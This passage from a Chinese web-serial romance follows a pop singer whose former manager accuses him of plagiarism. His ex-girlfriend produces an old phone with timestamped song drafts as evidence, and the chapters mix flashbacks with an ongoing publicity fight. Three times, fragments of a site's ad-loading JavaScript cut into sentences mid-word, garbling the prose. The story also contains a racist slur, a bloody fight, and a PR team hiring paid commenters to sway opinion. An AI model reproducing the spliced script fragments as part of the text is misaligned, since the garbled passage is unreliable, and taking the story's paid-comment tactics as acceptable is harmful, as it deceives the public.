“还没有,”许钧闻叹了口气,语气低沉,仿佛真的是在为这件事情忧心似的,“和前公司闹解约的时候,被他们用补充条款摆了一道,之前好几首还没发表的曲子都被他们清空了。我还以为真就是单纯地丢稿了呢,合着是在这儿等着我呢。” 时缈没想到,许钧闻和前公司解约的故事里还有这么一层。 “那你们现在准备怎么办?总不可能是坐以待毙吧。”时缈有些着急。 许钧闻的前经纪人孟巍,时缈是“见识”过的。 时至今日,这人的办事风格在她看来仍和当年一样,不择手段、唯利是图。 当年许钧闻是他手里的艺人,他是如何为了压榨许钧闻的全部商业价值而暗坑其他艺人的,今天就会如何为了自己手底下的艺人来陷害许钧闻。 “孟巍那边有所谓的‘时间线’作为证据,在绝大部分人的眼里,已经算是非常可信的了,现在,除非我们能拿出比他的时间线更早的创作时间证据,否则我们很难取信于人。”许钧闻顿了顿,似乎是强打着精神勉强笑笑,“不过没关系,你别担心,我都能解决的。” 坐在他对面的豪哥将许钧闻所有的表情、语气变化尽收眼底,许钧闻每多说一句,豪哥的眼神就变得更加震惊一分。 不是吧祖宗!你刚才不是还一脸“我根本不着急”的样子吗?这会儿这种失落低沉却又强打起精神安慰别人的白莲花气质到底是从哪儿忽然冒出来的啊! 你这戏演得也太好了吧! 豪哥上下打量了一下许钧闻—— 外貌很好,气质也是现在的小姑娘们很喜欢的那种酷哥款。 再加上演戏能演得这么逼真。 他应该考虑给许钧闻接点电视剧项目! 他觉得许钧闻这样子完全有机会成为影视歌三栖艺人啊! 对上豪哥逐渐变得有些狂热的眼神,许钧闻有些莫名其妙。但在下一秒,他就将脑海中这唯一一丝奇怪的感觉完全驱散。 因为他还在逗电话那边的时缈玩儿呢。 许钧闻轻声,像是在哄她:“节目这两天大概是录不了了吧,我估计至少要等到我这的事有点眉目之后,节目组那边才敢有后面的动作。” 如许钧闻所料,节目组现在根本不敢轻举妄动。 虽然没有许钧闻,节目照样可以正常录制,但架不住一定会有网友、粉丝和黑粉在弹幕上讨论这次的风波,进而影响到节目组直播间的整体氛围。 更何况,现在节目组根本不知道该不该和许钧闻解约——不解约,如果抄袭的事情是真的,那么节目组没有第一时间和“劣迹艺人”划清界限的话一定会招来网友们的非议甚至是谩骂。 可如果最终证明了许钧闻的“抄袭”根本是莫须有的脏水,节目组在这个时候和许钧闻解约一定会被打成“落井下石”、“不信任工作伙伴”等等之类的。甚至许钧闻工作室也会因此和导演及制片产生隔阂,不利于后续可能会有的长期合作。 所以许钧闻现在恐怕是整件事情中最不着急的那一个。 不着急,才有机会稳坐钓鱼台。 “真的,我没关系,你乖啊,别担心我。” 许钧闻靠在椅背上,换了个姿势,一只手举着手机,另一只手随意搭在膝盖上,完全没有声音中听起来的那么疲惫、消沉。 “刚好,节目暂停直播了,你也不用去跟野男人约会了。” “许钧闻,”时缈轻声制止,“什么时候了,还开这种无聊的玩笑。” 时缈听见对面有些疲惫的嗓音,心头一片酸涩柔软。 这些年里,她了解到的许钧闻一直是那个圈内很多艺人都难以望其项背的顶尖歌手,虽然从没有传出过桃色绯闻,但总时不时有营销号发一些许钧闻在活动现场冷脸、向别的小艺人甩脸子的黑料。 “抄袭”这种罪名对于一个从事创意的人来说是多大的一件事啊。 可遇上这种棘手事情的许钧闻,在这种时候还会分出神来安慰她一个圈外人。 明明他才是需要被安慰的那一个吧。 “有什么是我能帮上忙的吗?”时缈轻声问。 “你们这些弯弯绕绕的事情,很多我都不大懂,但如果有什么是我能帮上忙的,你尽管可以告诉我,打打下手找找东西什么的我还是能胜任的。” 许钧闻勾起唇角,语气听上去比刚才松快了一点点,但也只是一点点而已。 “我现在需要找到我创作那些曲子的时间比孟巍那边发出来的Xing乐队制作的进度要快、要早。” “那些歌都是我成名之前写的,有些甚至是按照公司的要求给前辈们写的歌,但后来没有被相中,就一直随意存在了当时的硬盘和电脑里。” 说着,许钧闻话锋一转:“你知道吗,这次这首《无风》就是之前给张天王写的歌,但是人家没要。” “那你还能找到那时候给张天王写完歌之后的记录吗?例如当时的电子邮件发送箱里的时间之类的?” “找过了,但是没找到,”许钧闻垂下眸子,鼻尖溢出一声笑,“况且,那人去年塌房进去了,就算我们拿着和张天王的记录作为补充证据,网友们未必会买账——毕竟张天王这人,目前在大家眼里就是‘不靠谱’三个字强绑定在一起的。” “……许钧闻!” 时缈忽然叫他的名字,打断了许钧闻后面想说的话。 “是不是只要有带时间的记录,就可以算是一个证据?” 她问。 * “喝点什么?” 话虽这么问,许钧闻已经将一杯美式放在她面前:“尝尝,我刚亲手冲的。” 在时缈提出要来工作室和他见一面,许钧闻看似轻描淡写地说一句“好啊”,实际上在电话挂断后,许钧闻立刻组织工作室的工作人员们纷纷动起来打扫起了卫生。 “许钧闻,咱们有保洁!保洁阿姨三小时前刚打扫过卫生!”豪哥一边擦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着桌面,一边忍不住吐槽,“你们之前不是谈过吗?你什么样子她没见过,这么着急把这里收拾得那么光鲜亮丽能派上多大用场?” “人家只是来见一下你的团队,又不是准备来见你全家!” “也不是不行。” 许钧闻擦着杯子的手顿了顿,而后勾了个笑:“她要是愿意的话,随时可以来我家。” “谁跟你说这个了!” 豪哥气得,擦桌子的力度都变大了几分。 恋爱脑! 绝症!没救了! 时缈捧起许钧闻刚做好的美式,浅浅喝了一口。 咖啡豆的香气萦绕在口腔里,前调微微有些果酸味,但在喝下去之后,停留在舌尖上的是醇厚的类似于巧克力般的味道。 “还不错?”许钧闻坐到她对面,目光柔和地看着她。 “很好喝。”时缈肯定道。 许钧闻颔首“喜欢的话等会儿把豆子给你带走,你回去了也能喝。” 打从刚才时缈进门,就被人赶到了房间门外的豪哥,听着房间里的动静,比许钧闻那个当事人还急。 你们倒是聊正事啊!不是说有事情要谈吗? 该不会……要谈的是恋爱啊?! “咖啡的事情我们容后再说,”时缈攥紧了手里背包细细的带子,表情看上去像是有些不好意思,“这次过来是有正事要找你的。” “是吗,我还以为你是来履行承诺的。”许钧闻挑眉。 这下时缈彻底有些懵圈了:“啊?什么承诺。” 她这段时间答应过许钧闻什么事情吗?印象里并没有啊。 “我不是说给你机会追我了吗?我以为你是来‘追’我一下的,”许钧闻抱着手臂,好整以暇地看着她,“看来不是我想的这件事了,真令人失望啊。” 听见许钧闻的回答,时缈气得差点当场翻白眼。 她是带着自己的担忧和心事来的,这家伙怎么除了调.情就是调.情?这几年娱乐圈的摸爬滚打到底教会了他一些什么啊! “我来,是有一个东西想交给你。” 时缈像是做了一番激烈的思想斗争和铺垫,这才缓缓将手里的小包打开—— “这个手机,是上大学的时候买的,不知道你还记不记得。” 时缈从小包里掏出一个手机,看型号就知道是好几年前的款式了。 它刚出的时候,不少女孩儿都很喜欢这个手机的外观,因此当时还吸引了不少年轻人的兴趣,甚至愿意加价找人帮自己排队去买这款手机。 时缈手里的这款,还是许钧闻起了个大早专程跑去给她排队买的。 看见时缈拿出来的东西,许钧闻明显怔愣了一下。 他没想到,时缈至今还留着这部手机。 “当然记得,为了排队买这款手机我还专门五点就爬起来去排队的。” 想起当年的事,许钧闻表情更加柔和:“冬天的早上,差点没把我在体验店门口冻死。” 时缈打开手机,点开文件存储,找到一个文件夹。 然后将亮着的手机屏幕推到许钧闻面前: “我这里有一些东西,你看看你是不是用得上。” 52. 52首情歌 许钧闻垂着眼睛看着时缈手上的手机,却没有接过来。 “这是什么?”他问。 时缈避而不答:“你看看就知道了。” “但我更想听你说,”许钧闻直视她的眼睛,声音低沉,“这手机里面是什么?” 时缈不信许钧闻不知道这手机里有什么。 可他偏偏要在这种关头逼她自己说,明知道她是因为担心才来找他的,许钧闻就是看准了她不忍心。 时缈闭了闭眼睛,破罐子破摔似的丢出一句:“你以前发给我的那些歌,都在这里了。” “什么?” 一旁的豪哥差点从椅子上跳起来:“你这是什么意思?” 随即,似乎是意识到自己的反应有些过度,豪哥不好意思地降低了几分声音,但语气依然非常急迫:“时小姐,你说的‘以前发给你的那些歌’具体是指……?” “不知道啊,”时缈眨眨眼,示意让他自己去问许钧闻,“他只发给我了这些片段,而且也没有名字。” “不过我刷到那个浏览量非常高的大V营销号发出来的片段对比了……”时缈点开其中一个音频文件,示意豪哥仔细听听,“如果我没听错的话,那段音乐和我手机里的这段重合度很高。” 迎上豪哥带着疑问的神情,时缈继续说道:“不过我还没有把这件事情告诉任何人,也没有发在网上,怕给你们添乱,所以第一时间联系了你们。我想你们比较专业,应该能让这些信息发挥它们最大的作用和价值。” 音乐在房间中缓缓铺陈流淌开,豪哥屏息凝神地听着,可当事人许钧闻却一直撑着下巴靠坐在那里,目光从始至终都只停留在时缈的身上。 那是他写的歌,他当然记得《无风》的创作灵感来自哪里。 写《无风》的时候,他无意中想起当年写过的一个小片段,认为还蛮适合这个曲子以及电视剧整体的调性,所以就把当年零零碎碎的创作片段加入了这首新歌里。 令他意外的是,当年据说“因设备损坏而丢失”的音频文件,居然忽然出现在了Xing乐队主场的电脑里? 原本许钧闻并不想和孟巍以及他的艺人有过多纠缠。 可这次是他们主动送上门来的,那就别怪他抓住机会痛打落水狗了。 确认了时缈手机里音频的存储时间后,豪哥看了一眼许钧闻:“这个手机,我能暂时先替二位保管一下吗?我保证,不乱看其他的东西,等这次的事情一结束,就立刻给两位送回来。” 许钧闻朝时缈的方向抬了下手:“你问她,这是她的所有物。” 时缈点点头:“本身就是为了来让你们看看这手机里的东西有没有用处的,既然能帮上忙,手机你们就拿去吧。” 顿了顿,她看了一眼许钧闻:“反正也是他买的,不还给我也行,交给他处理我也没意见。” 闻言,许钧闻哼笑一声:“怎么,以前送给你的礼物,你现在又送回给我了?这算什么,追求人也要稍稍拿出一点诚意吧,时缈小姐。” 豪哥接过手机的手僵了一瞬。 谁追求谁?这又是什么神展开? 拜托,不是说好有任何动作都先跟他这边知会一声吗?怎么又多出了一段他不知道的剧情? 时缈乜他一眼,不答话,转头看向脸上闪过一丝茫然的豪哥,轻柔一笑:“不用理他,这手机就留给你们了。” 豪哥看了一眼时缈,又看了一眼许钧闻。 眼前这姑娘再次刷新了他以为的她在许钧闻心里的重要程度——恐怕能当着许钧闻的面说“不用理他”的除了他的父母就只剩下时缈了吧? “好好好,非常感谢啊时缈,真是帮了我们一个大忙。”这时候,豪哥也不叫她“时女士”或者“时小姐”了,而是自然地跟着许钧闻一起叫起了“时缈”。 “那我先把手机拿去,看看后续的公关和澄清工作应该怎么安排,你们先做,时缈,你别拘束,有什么需要的就跟钧闻提就是了。” 说着,豪哥掏出了自己的名片:“后续如果还有其他任何线索,随时给我打电话就好。” 时缈原本不想留太久的。 目前的舆论仍然对许钧闻不利,她猜想,许钧闻和他的工作人员应该很忙才对。而刚刚,虽然豪哥的手机开了静音,但时缈还是从他放在桌上的手机明明灭灭的来电显示感受到了他的忙碌程度。 于是她主动提出道别:“那既然这样的话,你也先忙,我就先回去了。” 许钧闻看着时缈将背包的拉链拉上正要起身时,才慢条斯理地开口:“专程跑一趟,不多坐一会儿?” 时缈摆摆手:“没事,不做了,等你忙完这阵再说吧。” 许钧闻屈指在桌面轻轻叩了一下。 而后,时缈听见他说: “如果,我想让你留下呢?” 熟悉的语气和句子,听得时缈下意识一个激灵。 * 和许钧闻确认关系之前,时缈常常以“放松一下去听听歌”为借口,跑去酒吧听许钧闻唱歌。 两人在一起后,时缈反而去得少了。 一是因为临近期末,她们的专业课任务比前半个学期重了不少,几乎每天晚上大家都在练功房自发地训练。 二是因为—— “你就不担心?我跟你讲,虽然在我的推波助澜下,已经有很大一部分人知道许钧闻有女朋友的这件事了,但是,还是有不少女生跃跃欲试摩拳擦掌地期待把你干掉然后取而代之的呢。” 顾梦瑶在电话那头,作为“许钧闻女朋友的闺蜜”,似乎比“许钧闻的女朋友”本人都要着急。 “一天到晚结伴往酒吧跑,谁不知道他们在打什么算盘。” 时缈轻笑,安抚着好友:“没关系,我很相信许钧闻的。” “不怕贼偷,就怕贼惦记啊!我跟你说啊,今晚,我去找你,你别告诉你对象,咱们突击去查个岗,看看他有没有背着你和其他小姑娘喝酒啊!” 顾梦瑶一口气说完,根本没给时缈拒绝的机会。 时缈知道她是为了自己好,于是也不想扫她的兴致。 反正她也确实好几天没见到许钧闻了,不如趁着这个机会去见他一面好了。 两人在酒吧门口会合,门口的保安已经眼熟时缈了——那个每次都和许钧闻一起来的漂亮姑娘,在见到她们时,笑着朝她们点了点头就将她们放了进去。 两人随便找了个位置坐下,好巧不巧,身后就是顾梦瑶认识的人。 “啧啧,就她,隔壁文学院,一直惦记你对象的那个。”顾梦瑶同她咬耳朵,“我打赌,肯定是冲着你男朋友来的。” 紧接着下一秒,对方也发现了顾梦瑶,冷笑一声:“哟,这么巧?你不会也是来看许学长演出的吧?” “你不是说人家有女朋友了吗?在哪儿呢?怎么没见过啊?该不会是你为了追人家故意放出来的烟雾弹吧?” “你平时没营养的小说看多了吧?建议你今晚多喝一些,清清脑子!”顾梦瑶不甘示弱,“省得一天到晚耳朵里都是大海的声音。” “噗。”时缈没忍住,笑出声。 这笑有些突兀且不合时宜,自然被对方怒目而视:“说大话谁不会啊?有本事来比比看,看谁今天横着出这酒吧!” 如今再回看,两边不论是争执的原因还是拼酒的决定都有些幼稚,但在当时,如若不应下来,年轻姑娘们的自尊和面子确实不允许。 “来就来。” 顾梦瑶一撸袖子,拉着时缈走到了她们那桌,一拍桌面:“谁怕谁啊。” 于是等许钧闻和汪乐发现时缈和顾梦瑶也在这里时,桌上几乎已经摆满了各种形状的空瓶。 “这……这怎么办?”汪乐看着眼前这帮女生,惊讶得嘴都快合不拢了。 顾梦瑶摆了摆手,指了指自己,又指了指时缈:“我还行,问题不大,她,你送回去啊。” 汪乐按住顾梦瑶的手:“行了行了,我带你回学校。钧闻,时缈就交给你了。” 许钧闻点点头,俯身问时缈:“还能走吗?” 时缈看看他,又看看顾梦瑶。 顾梦瑶站起身,在背光处朝时缈眨了眨眼睛,而后叫着汪乐的名字,让他看自己还能走直线,以此证明 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己真的没喝多。 于是时缈摇摇头:“走不了了。” “那怎么办?”许钧闻第一次见时缈这种状态,只觉得好笑又可爱。 时缈伸手:“你背我吧。” 许钧闻原本是想把时缈送回学校门口,再联系时缈的室友出来接她一下的,可背上的“醉鬼”哼唧半天也说不出来自己室友的电话号,手机密码半天也不肯说出口。 站在校门口折腾了一番,许钧闻余光已经看见保安室里的保安似乎马上就要出来询问他们了,只好背着时缈朝另一个方向走去。 他将时缈带回了自己的出租屋。 时缈趴在许钧闻背上,偷偷环顾打量了这个屋子一圈。 平时她都是下午来,深夜造访这还是头一次。 耐心哄着“喝醉”的时缈洗漱,又找出自己一件T恤给她当睡衣,好不容易将人安顿好了,许钧闻给她盖好被子,准备今天在隔壁小书房里对付一晚上。 谁料他刚一转身,袖子就被人攥住了。 “干什么?”他问。 时缈迷迷糊糊地回答:“你走什么?” “我不走你怎么睡觉?” “你不走我也能睡啊,我们还可以一起睡。” 许钧闻顿了顿,低声笑了一下:“少说胡话,赶紧睡觉。” “别啊,”时缈开始耍赖,不肯松手,“你跑什么?” “时缈,”许钧闻一字一顿地念她的名字,像是警告,又像是提醒,“你想干什么?” “可是,如果我想让你留下呢?” 时缈半眯着眼睛,似乎是正费力地从黑暗中辨别许钧闻的轮廓。 酒精将她的气息染上暧昧的味道,时缈的手从他的袖口,滑到他的手掌,然后将自己的手蜷在他的掌心里。 许钧闻下意识地握住,将她整个手圈进自己的手心里。 “别走了嘛,陪陪我啊,我害怕。”她半张脸陷在枕头里,声线闷闷的,听起来含糊中带着一点软糯,很好欺负的样子。 许钧闻站在原地没有动。 接着窗外投进来的一丝月光,许钧闻沉默着注视着时缈的脸,似乎是想从她的表情中看出她究竟是真的醉酒还是故意装醉。 “时缈,你再说一遍。”他低声问,“你想我怎么样?” “留下来吧许钧闻,”时缈再次重复一遍,“我想让你留下陪我,不然我害怕。” 他嗤笑一声:“我留下了,你才是真的应该害怕。” 许钧闻俯下身,亲吻了一下时缈的侧脸:“往里挪点儿。” 时缈从善如流地翻了个身,留出了半张床的空位。 许钧闻合衣上床,隔着被子将时缈抱紧怀里,揉了揉她的发顶:“好了,现在可以睡觉了吧?” 时缈在他的怀里动了动,发丝扫在他的脖颈上,泛起一片缠缠绵绵的痒。 “不行。”她开始耍赖。 “那你想怎么样?” “亲我一下。” “……” “好了,睡觉。” “不行,再亲一下。” “……睡觉。” “再……” “不行,睡觉,不然揍你了。” “呜呜呜你凶我,不理你了。” “……好了听话,赶快睡觉。” “好吧。” “……” “许钧闻。” “嗯?” “我爱你。” 时至今日,许钧闻仍然不知道,那天晚上时缈到底真的喝醉了,还是装醉只为了能堂而皇之地跟他回到那个出租屋。 但他始终记得,自己心爱的姑娘,曾经乖顺软糯地窝在他怀里,在一片静谧中,不遮不掩地表达着自己的爱意。 “我也爱你。” 他当时如是说。 现在也仍是。 * 时缈起身的动作顿住,她望向许钧闻:“为什么想让我留下来?” 许钧闻挑了下眉,四两拨千斤,用问题回答问题: “那你又为什么一直留着那个手机和那些歌?” 53. 53首情歌 时缈发现,他们之间,总是一直在问各种“为什么”。 明明各自都对问题的答案有了猜测,可偏偏还是想让对方亲口证实自己所有的猜想,以此来证明他们之间所发生的一切,并不是某一方一厢情愿的纠缠。 她为什么一直留着那些歌? 那些在异国他乡辗转反侧的日子中,在病床上暗无天日的时刻里,在每一个以为自己就快要撑不下去了的境遇下,在每一次痛到头皮发麻的康复训练后,那些不想说出口、不能说出口的情绪无处发泄,时缈只能靠着手机里存着的许钧闻曾经发给她的那些音乐片段熬过那时看来艰难且漫长的时光。 时缈曾想过,将有关他的一切全部删除,可在删除了他所有的联系方式后,看着相册里聊天记录的截图和文件夹里来自许钧闻的音频文件,悬在屏幕上的指尖颤了颤,最后还是不忍心按下删除键。 在无人知晓的角落里,留着它们聊以慰藉,应该也不是不可以吧? 时缈如是想着。 那是她私心留下来的,最后唯一能够证明那些美好得如同梦一般的感情真实存在的东西。 是她如珍如宝的回忆。 * 也正因如此,回到舞团收拾东西、办理退出交换项目手续的时缈在这部旧手机差点丢掉时,几乎是疯了一样,任其他人拦也拦不住地冲进了舞团的男生宿舍,平日里看上去人高马大的男性舞者还没有反应过来,就被她狠狠甩了一个耳光。 “把我的东西还给我。(英)”时缈的眼眶通红,声音还发着颤。 被甩了一耳光的Antonio的脸颊上迅速浮现出了红痕,整个半边的脸全部都在隐隐作痛。 他恼羞成怒地指着时缈,另一只手还捏着她的旧手机:“不就是一个旧手机吗?看把你给激动的?里面有什么不可告人的秘密吗?难不成是你的xing|爱视频?不如拿出来给大家一起观赏观赏?(英)” “嘿,Antonio,有点过了。(英)”身旁有人低声提醒,“玩笑归玩笑,我看你不如把手机还给她吧。(英)” “这你就怕了?一个瘦弱的中国女表子而已,难不成你爱上他了,我的兄弟?(英)”Antonio晃了晃手里的手机,“只听说你动不动晚上抱着这个手机睡不着觉,不如告诉大家一下这里面到底有什么东西这么令人夜不能寐?(英)” 如果不是他们之间被好几个舞者拦住隔开,时缈恨不得抄起墙边的脚凳朝他砸过去。 “Antonio,她还是个病人,恶作剧也要有个限度。(英)”有人看不下去,主动替时缈说话,“就算是她打人不对在先,那也是你先找揍的。(英)” “哦,哦哦哦,对,我差点忘了。” Antonio忽然笑起来,可在场的所有人都看得出里面明晃晃的恶意:“听说你残废了?以后再也不能跳舞了是吗?那还真是可——惜——啊——(英)” 时缈仿佛听见半空中有“啪”的一声,维系着她理智的那跟弦彻底断掉。 她忍无可忍,随手抓起一样东西,卯足了力气砸了过去—— 是一个雕刻着花纹的透明玻璃水杯。 Antonio一个躲闪不急,被她掷出去的水杯狠狠砸中额角,一道血痕顺着他的眉骨流淌下来。 事故发生得太快,所有人都愣在原地,甚至没有人在第一时间冲过去拉架。 这还是众人第一次见时缈发火的样子,一直以来她在舞团里都是一副温和好脾气的样子,别说动手了,连和人吵架的情形都罕见。 可偏偏就是这样一个好脾气的姑娘,为了一个早就淘汰的旧手机,在异国他乡歇斯底里地和人动起了手。 待时缈已经转头要去寻下一件“武器”的时候,周围的人才反应过来,一左一右拉开了两人。 这场闹剧最终以舞团团长急匆匆地赶来才堪堪落下帷幕。 “既然手机找回来了,有些事情我也就不再追究了。(英)” 回到宿舍收拾行李,时缈背对着自己的另外几个室友,不疾不徐地说道:“这大概是我们几人最后一次见面,希望有些人好自为之。(英)” “以后真的不能再见了吗?(英)”平日里和时缈关系最后的一个室友,眼眶红红的,“你是要回中国了吗?有机会的话我去中国找你玩好不好?(英)” “还是不要了。(英)” 时缈回身,抱了抱她:“我想我大概很长一段时间,不想再回想起在这里经历过的一切了。(英)” 时缈依次和室友们道别,平日里总是喜欢挽着她的手臂和她一起看综艺的韩国室友这次一反常态,迟迟没有上前。 时缈深深看她一眼,而后面无表情地挪开实现,继续俯身把自己最后一点零碎的东西收进背包里。 “Theresia,”韩国室友小声叫她,沉默半晌,最后憋出一句,“对不起。(韩)” 时缈嘲讽地勾了勾唇角。 敢做不敢当,连道歉都要用其他人听不懂的语言。 旧手机她从来没有带出过宿舍,整个舞团中,知道那个手机对她的重要性的恐怕只有住在这个房间里的几人。 时缈自然知道平日里被白人舞者们排挤的亚裔以及黑人舞者们里,有些人会为了自保试图用各种方式融入那个“核心”圈子中去。 只是她没想到,有朝一日她自己会成为别人讨好Antonio那伙混蛋的“祭品”。 时缈无所谓对方是否会感到歉意。 因为她并不打算原谅。 * 那时候,时缈以为,这个旧手机里的一切将会永远成为她一个人尘封在岁月角落里的秘密,却没想到居然还会有经由她的手重新回到许钧闻手里的这一天。 “还用问为什么吗?” 时缈转过头,朝着他笑得狡黠:“我以为你知道的。” “就这样啦,我先走了,你们忙。”她挥挥手,拎起包朝房间门口走。 身后脚步声三步并做两步,轻而易举地超过她,许钧闻的手臂从她肩头上方穿过来,在她握住门把手的同时,将门紧紧按住。 “时缈,你就是不肯承认你还爱我。” 许钧闻低叹一声,另一只手抬起时缈的下巴,径直吻了下来。 时缈一愣。 猝不及防的就被人按在了门板上。 上一次和许钧闻接吻已经是很多年以前了,可当他的气息强势地侵入她的领地时,时缈还是轻而易举地回忆起他们曾经相拥亲吻的细节。 熟悉的触感和下意识的反应,都是他们相爱的证据。 时缈想,她应该要推开他才对的。 这是许钧闻工作的地方,他的经纪人或许随时会进来,近期应 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 该也有不少娱乐媒体和狗仔盯着他的一举一动。 这不是一个适合互诉衷肠、亲吻拥抱的场合。 可这一切偏偏又发生得水到渠成。 抵在他胸膛上原本想要推开他的手有些脱力,最终认命地变成攀住许钧闻肩头的姿势。 黑色卫衣的布料被她手指捏出一圈一圈的褶皱,像年轮,记录着过去失落的时间。 许钧闻其实没有想过会发生这些。 只是在拦住她去路的那一刻,行动像是不受思维控制,下意识地咬住了她嫣红饱满的唇瓣。 背后微凉的门板和身前温热的躯|体形成强烈的反差,挑动着她的神经。 几乎有那么一个瞬间,时缈感觉自己快要落下泪来。 略带薄茧的指腹抹过她的眼角,许钧闻的声音低到几乎快要听不清:“哭什么。” 时缈不言语,只是认命地闭上眼睛,任由视野彻底变成一片黑暗,其余的感官开始被无限放大,耳边自己和许钧闻的呼吸声交织在一起,最终形成一个统一的步调,深深浅浅的,不分彼此。 不知道过了多久。 也许是三十秒,也许是三分钟。 时缈别在身后握着门把的手心感受到门把手似乎从外面被人转动,游离地思绪在这一刻瞬间回归—— 时缈扣着许钧闻肩头的手使了使力,试图逃开他为她织成的网。 许钧闻从善如流地浅浅退开几分,喘|息略有些粗重。 他的额头仍然抵着她的。 像过去无数次情至浓时所做的那样。 许钧闻按着门板,时缈的手也紧紧压在门把手上。 时缈紧张得呼吸都快停止了。 门外的人转动了几下把手,见门始终打不开,似乎是放弃了,两人之间再次恢复了安静。 …… “什么意思?” 电话那边的顾梦瑶的好奇心几乎要溢出屏幕了:“什么叫你和许钧闻亲了?” “就是我说的这样啊,我去给他送‘证据’,然后莫名其妙的……就亲了呗。”时缈揉了揉自己的额角。 “然后呢?” “然后……我就跑了。” 悸动、暧昧、尴尬交织在时缈的心头,她不知道这时候应该和许钧闻说些什么。 和前任接吻本身就是一件很奇怪的事情,更何况这接吻的地点还是在前任的工作室里,外面走廊来来去去随时可能会进来的都是他团队的工作人员,那一刻,时缈只想赶紧逃离这个与她而言“孤立无援”的地方。 “服了,你们城里人的套路我不懂,”顾梦瑶无语地叹口气,“和前任不明不白的亲了,下一步是什么,像电影里演的那样补上六年前没来得及打的分手……” “顾梦瑶!”时缈高声叫停,“说什么乱七八糟的呢。” “那我请问,你们两个到底准备什么时候和好?” 顾梦瑶作为这段感情的全程见证者,六年前两个人伤筋动骨的样子令她记忆深刻:“现在人家许钧闻是顶流大咖了,也有话语权了,应该不会像以前那样受经纪人和公司的摆布了,况且你不是也说,许钧闻现在的经纪人看上去挺好相处的吗?” “那个孟巍,也算是自作孽了,如果他知道你手机还存着能把他这波操作尽数瓦解的重要证据,是不是要对自己当年棒打鸳鸯的行为后悔死了?” 54. 54首情歌 有了时缈的那只旧手机,豪哥很快就带着工作室负责公关和宣传的工作人员们拟出了一份内容详实、有理有据的回应。 「@许钧闻工作室:针对近期的“抄袭”风波,我方全部回应详见图片及视频。作为创作者,我方自然也对抄袭行为零容忍,鉴于本次事件已经构成对许钧闻先生的诽谤诬陷,严重侵害了许钧闻先生个人名誉及知识产权,经团队商议,事件后续会交由专业律师处理,还请大家擦亮双眼、理智看待,耐心等待最终的处理结果。」 长文中有条不紊地梳理了许钧闻这边手中所持有的证据的相关时间线,并仔细地附上了相关的佐证截图和特地标注出来的设备存储时间。 除此之外,还有两首歌的对比以及从时缈手机记录中找到的许钧闻创作片段与Xing乐队新歌之间的比对视频。 为了避免孟巍那边买水军谎称他们这边所拿出的证据是伪造的,在第一时间收集了所有屏录、截图之后,豪哥马不停蹄地将所有证据拿到了江城公证处进行了公证。 与此同时,他还将孟巍、Xing乐队成员及其粉丝们的抹黑诽谤言论也一并提交了公证,经过公证后的资料足足有厚厚五大本。 许钧闻本人也用微博大号转发了工作室的声明和放出的证据回应,不像其他艺人在转发公司声明时又是写小作文又是配自拍照的,许钧闻的转发文案和他平时一样嚣张: 「@许钧闻_V:好好的独木桥不走,那就锯了吧。」 不少圈内和许钧闻关系不错的艺人也纷纷冒泡,转发许钧闻的微博表达自己的立场。 一时间,“许钧闻”这三个字再次承包了热搜榜的前几位。 而许钧闻的评论区也很快就被前来声援自家偶像的粉丝们占满。 「笑死,哥好狂,我好爱。」 「粉许钧闻别的不说,在反黑辟谣这块是从来没让我们粉丝操过心哈哈哈。」 「还记得当年许哥和前公司解约的时候发的声明吗?“从今往后,我走我的阳关道,你过你的独木桥”,现在某些人独木桥也不想走了,哥扛着锯子可就来了哈!」 「好好好,这么些年过去了,哥还记着当年的“分手文案”呢?你这样的话搞得我都想嗑你俩了哈[笑哭]」 「前排的姐们儿,cp可以冷门,但不能邪门哈。老粉都知道孟巍在哥不红的时候是怎么压榨他的创作灵感给手底下其他有名气的艺人当垫脚石的,谁都能拉cp,唯独孟巍,不约哈。[微笑][挥手]」 甚至还有不少看热闹不嫌事大的网友和粉丝们,纷纷在许钧闻的微博评论区下面艾特起了孟巍和Xing乐队的成员们。 但比起指责许钧闻抄袭时的反应迅速,这一回,孟巍和他手下的艺人却齐刷刷地噤了声。 不少网友见状都倒戈站到了许钧闻的那一边,但仍有Xing乐队的死忠粉们“誓死捍卫”自己喜欢的乐队,一口咬定自家哥哥们这两天正在外地参加音乐节,不可能二十四小时守着微博等着和许钧闻对线,一时间,各个词条广场和超话里吵得那叫一个不可开交。 毫不夸张地说,这时候点进和这件事有关的词条里,哪怕是路过的狗都得被双方的粉丝骂上两句。 “还是要及时在粉丝群里引导好粉丝,静等处理结果就好,不要吵架,更不要做出格的事情。”许钧闻叮嘱豪哥。 豪哥比了个“ok”的手势:“放心吧,我心里有数。” 自从工作室的声明和证据链发出之后,整个工作室的小伙伴们几乎是三班倒二十四小时高强度关注着互联网上的舆论风向,生怕孟巍那个阴损的货色又趁半夜大家都在休息的时候放出点什么莫须有的假料扰乱视听。 因此,豪哥自然不会错过微博上那些零零碎碎的声音: “有人在猜测我们那个证据屏录的对话框到底是你和谁的聊天框,我们这边已经安排了一批水军下场,尽量把话题引导到那个账号是你的备用小号、文件助手的方向上去了,但是……” 豪哥哭笑不得地把平板递给许钧闻:“要不怎么说‘群众的眼睛是雪亮的’呢,还是有人在猜,和你对话的那个人是不是你在节目上提起过的那个前女友。” “让你在节目上少说不该说的话,现在好了吧?搬起石头砸自己的脚,说的时候痛快了,现在还不是得我去给你收拾烂摊子。” 所有的证据和视频发出前,都经过了许钧闻的亲自检查,确保没有露出任何可能泄露旧手机主人身份的信息后才允许工作人员把那条微博发布出去。 但架不住网友们在八卦这件事上拥有的卓越天赋,在许钧闻转发工作室微博没一会儿,就已经有人开始在猜测那些截图中,和许钧闻“对话”的“那个人”到底是谁了。 许钧闻将平板还给豪哥:“别把时缈牵扯进来。” “知道,我办事你放心,”豪哥顿了顿,犹豫了一下,还是略有些担忧地说道,“可是我在想,如果不是我们这边要把时缈牵扯进来呢?到时候你准备怎么做?” * “孟巍哥,我们现在应该怎么办啊?” Xing乐队的队长兼主唱、有“许钧闻第二”之称的黄思凡,坐在沙发上面色焦虑的看着对面的经纪人:“许钧闻那边已经拿出证据,证明那些歌的雏形是出自于他手了,你不是说他解约的时候什么都没能带走吗?这又是从哪里冒出来的音频啊?” 